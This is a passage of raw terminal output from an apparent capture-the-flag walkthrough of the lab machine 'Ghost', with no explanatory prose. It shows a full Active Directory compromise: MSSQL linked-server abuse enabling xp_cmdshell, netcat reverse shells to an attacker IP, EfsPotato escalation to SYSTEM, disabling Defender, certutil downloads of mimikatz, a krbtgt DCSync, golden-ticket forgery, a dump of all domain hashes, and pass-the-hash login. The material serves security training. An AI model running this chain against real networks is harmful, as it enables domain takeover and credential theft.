JlciI%2BPFN1YmplY3RDb25maXJtYXRpb25EYXRhIE5vdE9uT3JBZnRlcj0iMjAyNS0wMi0wN1QyMTowOToxNy4wMDBaIiBSZWNpcGllbnQ9Imh0dHBzOi8vY29yZS5naG9zdC5odGI6ODQ0My9hZGZzL3NhbWwvcG9zdFJlc3BvbnNlIi8%2BPC9TdWJqZWN0Q29uZmlybWF0aW9uPjwvU3ViamVjdD48Q29uZGl0aW9ucyBOb3RCZWZvcmU9IjIwMjUtMDItMDdUMjE6MDQ6MTcuMDAwWiIgTm90T25PckFmdGVyPSIyMDI1LTAyLTA3VDIyOjA0OjE3LjAwMFoiPjxBdWRpZW5jZVJlc3RyaWN0aW9uPjxBdWRpZW5jZT5odHRwczovL2NvcmUuZ2hvc3QuaHRiOjg0NDM8L0F1ZGllbmNlPjwvQXVkaWVuY2VSZXN0cmljdGlvbj48L0NvbmRpdGlvbnM%2BPEF0dHJpYnV0ZVN0YXRlbWVudD48QXR0cmlidXRlIE5hbWU9Imh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3VwbiI%2BPEF0dHJpYnV0ZVZhbHVlPkdIT1NUXGFkbWluaXN0cmF0b3I8L0F0dHJpYnV0ZVZhbHVlPjwvQXR0cmlidXRlPjxBdHRyaWJ1dGUgTmFtZT0iaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvY2xhaW1zL0NvbW1vbk5hbWUiPjxBdHRyaWJ1dGVWYWx1ZT5BZG1pbmlzdHJhdG9yPC9BdHRyaWJ1dGVWYWx1ZT48L0F0dHJpYnV0ZT48L0F0dHJpYnV0ZVN0YXRlbWVudD48QXV0aG5TdGF0ZW1lbnQgQXV0aG5JbnN0YW50PSIyMDI1LTAyLTA3VDIxOjA0OjE2LjUwMFoiIFNlc3Npb25JbmRleD0iXzYwVjdTOCI%2BPEF1dGhuQ29udGV4dD48QXV0aG5Db250ZXh0Q2xhc3NSZWY%2BdXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOmFjOmNsYXNzZXM6UGFzc3dvcmRQcm90ZWN0ZWRUcmFuc3BvcnQ8L0F1dGhuQ29udGV4dENsYXNzUmVmPjwvQXV0aG5Db250ZXh0PjwvQXV0aG5TdGF0ZW1lbnQ%2BPC9Bc3NlcnRpb24%2BPC9zYW1scDpSZXNwb25zZT4%3D❯ cat /etc/hosts | grep ghost.htb
10.10.11.24 ghost.htb dc01.ghost.htb intranet.ghost.htb federation.ghost.htb gitea.ghost.htb core.ghost.htbSELECT+SRVNAME+FROM+SYSSERVERSEXECUTE('EXECUTE+AS+LOGIN+%3d+''sa''%3bSELECT+SYSTEM_USER')+AT+[PRIMARY]EXEC('EXEC AS LOGIN = ''sa'';EXEC sp_configure "show advanced options", 1; RECONFIGURE; EXEC sp_configure "xp_cmdshell", 1; RECONFIGURE;exec xp_cmdshell "whoami"') AT [PRIMARY]❯ ls -l nc.exe
.rwxr-xr-x kali kali 28 KB Fri Feb 7 22:36:05 2025 nc.exe
❯ smbserver.py smbFolder $(pwd) -username gzzcoo -password gzzcoo123 -smb2support
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed❯ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...EXEC('EXEC+AS+LOGIN+%3d+''sa''%3bEXEC+sp_configure+"show+advanced+options",+1%3b+RECONFIGURE%3b+EXEC+sp_configure+"xp_cmdshell",+1%3b+RECONFIGURE%3bexec+xp_cmdshell+"net+use+x:+\\10.10.16.7\smbFolder+/user:gzzcoo+gzzcoo123"')+AT+[PRIMARY]EXEC('EXEC+AS+LOGIN+%3d+''sa''%3bEXEC+sp_configure+"show+advanced+options",+1%3b+RECONFIGURE%3b+EXEC+sp_configure+"xp_cmdshell",+1%3b+RECONFIGURE%3bexec+xp_cmdshell+"x:\\nc.exe+-e+cmd+10.10.16.7+443"')+AT+[PRIMARY]❯ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.7] from (UNKNOWN) [10.10.11.24] 49834
Microsoft Windows [Version 10.0.20348.2582]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt service\mssqlserverPS C:\ProgramData> hostname
hostname
PRIMARY
PS C:\ProgramData> ipconfig
ipconfig
Windows IP Configuration
Ethernet adapter Ethernet:
Connection-specific DNS Suffix . :
IPv4 Address. . . . . . . . . . . : 10.0.0.10
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 10.0.0.254
PS C:\ProgramData> C:\Windows\system32>whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeMachineAccountPrivilege Add workstations to domain Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set DisabledPS C:\ProgramData> dir C:\Windows\Microsoft.Net\Framework\
dir C:\Windows\Microsoft.Net\Framework\
Directory: C:\Windows\Microsoft.Net\Framework
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/8/2021 1:27 AM v1.0.3705
d----- 5/8/2021 1:27 AM v1.1.4322
d----- 5/8/2021 1:15 AM v2.0.50727
d----- 2/7/2025 9:56 AM v4.0.30319 ❯ ls -l EfsPotato.cs
.rw-rw-r-- kali kali 25 KB Fri Feb 7 22:50:45 2025 EfsPotato.csPS C:\ProgramData> copy X:\EfsPotato.cs C:\ProgramData\EfsPotato.cs
copy X:\EfsPotato.cs C:\ProgramData\EfsPotato.cs
PS C:\ProgramData> ls
ls
Directory: C:\ProgramData
Mode LastWriteTime Length Name
---- ------------- ------ ----
d---s- 5/8/2021 1:27 AM Microsoft
d----- 2/2/2024 8:36 PM Package Cache
d----- 5/8/2021 1:15 AM regid.1991-06.com.microsoft
d----- 5/8/2021 1:15 AM SoftwareDistribution
d----- 5/8/2021 2:33 AM ssh
d----- 1/31/2024 6:28 PM USOPrivate
d----- 5/8/2021 1:15 AM USOShared
-a---- 2/7/2025 1:50 PM 25441 EfsPotato.cs PS C:\ProgramData> C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe EfsPotato.cs -nowarn:1691,618
C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe EfsPotato.cs -nowarn:1691,618
Microsoft (R) Visual C# Compiler version 4.8.4161.0
for C# 5
Copyright (C) Microsoft Corporation. All rights reserved.
This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240
PS C:\ProgramData> ls
ls
Directory: C:\ProgramData
Mode LastWriteTime Length Name
---- ------------- ------ ----
d---s- 5/8/2021 1:27 AM Microsoft
d----- 2/2/2024 8:36 PM Package Cache
d----- 5/8/2021 1:15 AM regid.1991-06.com.microsoft
d----- 5/8/2021 1:15 AM SoftwareDistribution
d----- 5/8/2021 2:33 AM ssh
d----- 1/31/2024 6:28 PM USOPrivate
d----- 5/8/2021 1:15 AM USOShared
-a---- 2/7/2025 1:50 PM 25441 EfsPotato.cs
-a---- 2/7/2025 1:53 PM 17920 EfsPotato.exe PS C:\ProgramData> copy x:\nc.exe C:\ProgramData\nc.exe
copy x:\nc.exe C:\ProgramData\nc.exe
PS C:\ProgramData> ls
ls
Directory: C:\ProgramData
Mode LastWriteTime Length Name
---- ------------- ------ ----
d---s- 5/8/2021 1:27 AM Microsoft
d----- 2/2/2024 8:36 PM Package Cache
d----- 5/8/2021 1:15 AM regid.1991-06.com.microsoft
d----- 5/8/2021 1:15 AM SoftwareDistribution
d----- 5/8/2021 2:33 AM ssh
d----- 1/31/2024 6:28 PM USOPrivate
d----- 5/8/2021 1:15 AM USOShared
-a---- 2/7/2025 1:50 PM 25441 EfsPotato.cs
-a---- 2/7/2025 1:53 PM 17920 EfsPotato.exe
-a---- 2/7/2025 1:36 PM 28160 nc.exe ❯ rlwrap -cAr nc -nlvp 444
listening on [any] 444 ...PS C:\ProgramData> .\EfsPotato.exe "C:\ProgramData\nc.exe -e cmd 10.10.16.7 444"
.\EfsPotato.exe "C:\ProgramData\nc.exe -e cmd 10.10.16.7 444"
Exploit for EfsPotato(MS-EFSR EfsRpcEncryptFileSrv with SeImpersonatePrivilege local privalege escalation vulnerability).
Part of GMH's fuck Tools, Code By zcgonvh.
CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes support by Pablo Martinez (@xassiz) [www.blackarrow.net]
[+] Current user: NT Service\MSSQLSERVER
[+] Pipe: \pipe\lsarpc
[!] binding ok (handle=19a98a00)
[+] Get Token: 908
[!] process with pid: 272 created.
==============================❯ rlwrap -cAr nc -nlvp 444
listening on [any] 444 ...
connect to [10.10.16.7] from (UNKNOWN) [10.10.11.24] 49800
Microsoft Windows [Version 10.0.20348.2582]
(c) Microsoft Corporation. All rights reserved.
C:\ProgramData>whoami
whoami
nt authority\systemPS C:\ProgramData> Set-MpPreference -DisableRealtimeMonitoring $True❯ ls -l mk.exe
.rw-r--r-- kali kali 1.2 MB Fri Feb 7 22:57:17 2025 mk.exe
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...PS C:\ProgramData> certutil.exe -f -urlcache -split http://10.10.16.7/mk.exe mk.exe
certutil.exe -f -urlcache -split http://10.10.16.7/mk.exe mk.exe
**** Online ****
000000 ...
131308
CertUtil: -URLCache command completed successfully.PS C:\ProgramData> .\mk.exe "lsadump::dcsync /user:CN=krbtgt,CN=Users,DC=corp,DC=ghost,DC=htb" exit
.\mk.exe "lsadump::dcsync /user:CN=krbtgt,CN=Users,DC=corp,DC=ghost,DC=htb"
.#####. mimikatz 2.2.0 (x64) #18362 Feb 29 2020 11:13:36
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
mimikatz(commandline) # lsadump::dcsync /user:CN=krbtgt,CN=Users,DC=corp,DC=ghost,DC=htb
[DC] 'corp.ghost.htb' will be the domain
[DC] 'PRIMARY.corp.ghost.htb' will be the DC server
[DC] 'CN=krbtgt,CN=Users,DC=corp,DC=ghost,DC=htb' will be the user account
Object RDN : krbtgt
** SAM ACCOUNT **
SAM Username : krbtgt
Account Type : 30000000 ( USER_OBJECT )_hmac dfel usuari
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration :
Password last change : 1/31/2024 6:34:01 PM
Object Security ID : S-1-5-21-2034262909-2733679486-179904498-502
Object Relative ID : 502
Credentials:
Hash NTLM: 69eb46aa347a8c68edb99be2725403ab
ntlm- 0: 69eb46aa347a8c68edb99be2725403ab
lm - 0: fceff261045c75c4d7f6895de975f6cb
Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
Random Value : 4acd753922f1e79069fd95d67874be4c
* Primary:Kerberos-Newer-Keys *
Default Salt : CORP.GHOST.HTBkrbtgt
Default Iterations : 4096
Credentials
aes256_hmac (4096) : b0eb79f35055af9d61bcbbe8ccae81d98cf63215045f7216ffd1f8e009a75e8d
aes128_hmac (4096) : ea18711cfd69feef0c8efba75bca9235
des_cbc_md5 (4096) : b3e070025110ce1f
* Primary:Kerberos *
Default Salt : CORP.GHOST.HTBkrbtgt
Credentials
des_cbc_md5 : b3e070025110ce1f
* Packages *
NTLM-Strong-NTOWF
* Primary:WDigest *
01 673e591f1e8395d5bf9069b7ddd084d6
02 1344e8aade9169b015f2ca4ddf8a04bd
03 021a6b424b5372ef3511673b04647862
04 673e591f1e8395d5bf9069b7ddd084d6
05 1344e8aade9169b015f2ca4ddf8a04bd
06 122def4643832d604a97c9c02e29cb38
07 673e591f1e8395d5bf9069b7ddd084d6
08 2526b041b761a9ae973e69ee23d8ab97
09 2526b041b761a9ae973e69ee23d8ab97
10 43c410fd94dc2ca31c3d12cd76ea5e5c
11 b51d328dbb94b922331d54ffd54134d5
12 2526b041b761a9ae973e69ee23d8ab97
13 99c658551700bb8b4dbe0503acade3cb
14 b51d328dbb94b922331d54ffd54134d5
15 8a1e17a5a2aa32b2120a39ba99881020
16 8a1e17a5a2aa32b2120a39ba99881020
17 9ebecd6b439ee2e7847819e54be70d8f
18 ff83c6eb25c8da26d5332aeeaeae4cb8
19 2ee6795b19f71e9c5aa2ab2f902a0c55
20 3722d9593e0e483720a657bcb56526b2
21 7bdac8f5dfed431bc7232ff1ca6ebb4d
22 7bdac8f5dfed431bc7232ff1ca6ebb4d
23 42b46cd4462f0d4c4ae5da7757a2ff90
24 7648ab0ac431ceada83b321ca468fccf
25 7648ab0ac431ceada83b321ca468fccf
26 7af11e3e17a21afd61955ed5a5f52405
27 9dfbb554b398bdf2e8c51e1b20208c08
28 49a35ae4b703b7c47b44708fa235c581
29 8a24eb5a1a3155556064b79149b00211❯ /opt/ligolo/proxy -selfcert
WARN[0000] Using default selfcert domain 'ligolo', beware of CTI, SOC and IoC!
WARN[0000] Using self-signed certificates
ERRO[0000] Certificate cache error: acme/autocert: certificate cache miss, returning a new certificate
WARN[0000] TLS Certificate fingerprint for ligolo is: DB1E783AF04CFDBBC26A8A87A1EDAD3E1AB2DC1B9FD699144B66E86A66DAB6BB
INFO[0000] Listening on 0.0.0.0:11601
__ _ __
/ / (_)___ _____ / /___ ____ ____ _
/ / / / __ `/ __ \/ / __ \______/ __ \/ __ `/
/ /___/ / /_/ / /_/ / / /_/ /_____/ / / / /_/ /
/_____/_/\__, /\____/_/\____/ /_/ /_/\__, /
/____/ /____/
Made in France ♥ by @Nicocha30!
Version: 0.7.5
ligolo-ng » ❯ sudo ip tuntap add user kali mode tun ligolo
❯ sudo ip link set ligolo up
❯ sudo ip route add 10.0.0.0/24 dev ligolo
❯ sudo ntpdate -s ghost.htb❯ ls
agent.exe proxy
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...PS C:\ProgramData> certutil.exe -f -urlcache -split http://10.10.16.7/agent.exe agent.exe
certutil.exe -f -urlcache -split http://10.10.16.7/agent.exe agent.exe
**** Online ****
000000 ...
5f2c00
CertUtil: -URLCache command completed successfully.PS C:\ProgramData> .\agent.exe -connect 10.10.16.7:11601 -ignore-cert
.\agent.exe -connect 10.10.16.7:11601 -ignore-cert
time="2025-02-07T14:07:26-08:00" level=warning msg="warning, certificate validation disabled"
time="2025-02-07T14:07:26-08:00" level=info msg="Connection established" addr="10.10.16.7:11601"/opt/ligolo/proxy -selfcert
WARN[0000] Using default selfcert domain 'ligolo', beware of CTI, SOC and IoC!
WARN[0000] Using self-signed certificates
WARN[0000] TLS Certificate fingerprint for ligolo is: DB1E783AF04CFDBBC26A8A87A1EDAD3E1AB2DC1B9FD699144B66E86A66DAB6BB
INFO[0000] Listening on 0.0.0.0:11601
__ _ __
/ / (_)___ _____ / /___ ____ ____ _
/ / / / __ `/ __ \/ / __ \______/ __ \/ __ `/
/ /___/ / /_/ / /_/ / / /_/ /_____/ / / / /_/ /
/_____/_/\__, /\____/_/\____/ /_/ /_/\__, /
/____/ /____/
Made in France ♥ by @Nicocha30!
Version: 0.7.5
ligolo-ng » INFO[0067] Agent joined. id=31530714-8a8b-4acd-8cfd-765668586137 name="NT AUTHORITY\\SYSTEM@PRIMARY" remote="10.10.11.24:49803"
ligolo-ng »
ligolo-ng » session
? Specify a session : 1 - NT AUTHORITY\SYSTEM@PRIMARY - 10.10.11.24:49803 - 31530714-8a8b-4acd-8cfd-765668586137
[Agent : NT AUTHORITY\SYSTEM@PRIMARY] » start
[Agent : NT AUTHORITY\SYSTEM@PRIMARY] » INFO[0074] Starting tunnel to NT AUTHORITY\SYSTEM@PRIMARY (31530714-8a8b-4acd-8cfd-765668586137) ❯ cat /etc/hosts | grep corp.ghost.htb
10.0.0.10 corp.ghost.htb❯ impacket-ticketer -aesKey b0eb79f35055af9d61bcbbe8ccae81d98cf63215045f7216ffd1f8e009a75e8d -domain-sid S-1-5-21-2034262909-2733679486-179904498 -extra-sid S-1-5-21-4084500788-938703357-3654145966-519 -domain corp.ghost.htb Administrator 2>/dev/null
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for corp.ghost.htb/Administrator
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncAsRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncASRepPart
[*] Saving ticket in Administrator.ccache❯ export KRB5CCNAME=Administrator.ccache
❯ klist -i
Ticket cache: FILE:Administrator.ccache
Default principal: Administrator@CORP.GHOST.HTB
Valid starting Expires Service principal
08/02/25 04:14:33 06/02/35 04:14:33 krbtgt/CORP.GHOST.HTB@CORP.GHOST.HTB
renew until 06/02/35 04:14:33❯ secretsdump.py dc01.ghost.htb -k -no-pass -just-dc-ntlm
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:1cdb17d5c14ff69e7067cffcc9e470bd:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:0cdb6ae71c3824f2da2815f69485e128:::
kathryn.holland:3602:aad3b435b51404eeaad3b435b51404ee:0adf6114ba230ef8f023eca3c0d1af50:::
cassandra.shelton:3603:aad3b435b51404eeaad3b435b51404ee:96d2251e44e42816314c08b8e1f11b87:::
robert.steeves:3604:aad3b435b51404eeaad3b435b51404ee:7e2e1e1163ff3fa9304ecd8df6f726fe:::
florence.ramirez:3606:aad3b435b51404eeaad3b435b51404ee:29542931896c7e7a9fbca17b0dd8ab6a:::
justin.bradley:3607:aad3b435b51404eeaad3b435b51404ee:a2be8ec65d6b212138cb36422ed32f46:::
arthur.boyd:3608:aad3b435b51404eeaad3b435b51404ee:b5b7f0787f3c07f42958d33518ae19a5:::
beth.clark:3610:aad3b435b51404eeaad3b435b51404ee:1582f51fcd02e2e5316d497f2552bb83:::
charles.gray:3611:aad3b435b51404eeaad3b435b51404ee:d2fe7f2c7484fc550cac49836eabca3d:::
jason.taylor:3612:aad3b435b51404eeaad3b435b51404ee:0159e6bd4326812f9a6c406ea84035e6:::
intranet_principal:3614:aad3b435b51404eeaad3b435b51404ee:e9fac15124e1d927cbd71f851792b04f:::
gitea_temp_principal:3615:aad3b435b51404eeaad3b435b51404ee:2058fa4502750fa5d7ebd874b1ea43a1:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:e6c3d61860f92e30e8e9744ac5d9783b:::
LINUX-DEV-WS01$:3630:aad3b435b51404eeaad3b435b51404ee:be14220f3b71b34a61d2d516d595555c:::
adfs_gmsa$:4101:aad3b435b51404eeaad3b435b51404ee:0bef79ae4d25b1864570212e33922d14:::
GHOST-CORP$:2101:aad3b435b51404eeaad3b435b51404ee:be0a51897087a382ca0726b2403e6b00:::
[*] Cleaning up...❯ nxc winrm 10.10.11.24 -u 'Administrator' -H '1cdb17d5c14ff69e7067cffcc9e470bd'
WINRM 10.10.11.24 5985 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:ghost.htb)
WINRM 10.10.11.24 5985 DC01 [+] ghost.htb\Administrator:1cdb17d5c14ff69e7067cffcc9e470bd (Pwn3d!)
❯ evil-winrm -i 10.10.11.24 -u 'Administrator' -H '1cdb17d5c14ff69e7067cffcc9e470bd'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> type ../Desktop/root.txt
9aa9bfa2************************
❯ iRecon 10.10.11.54
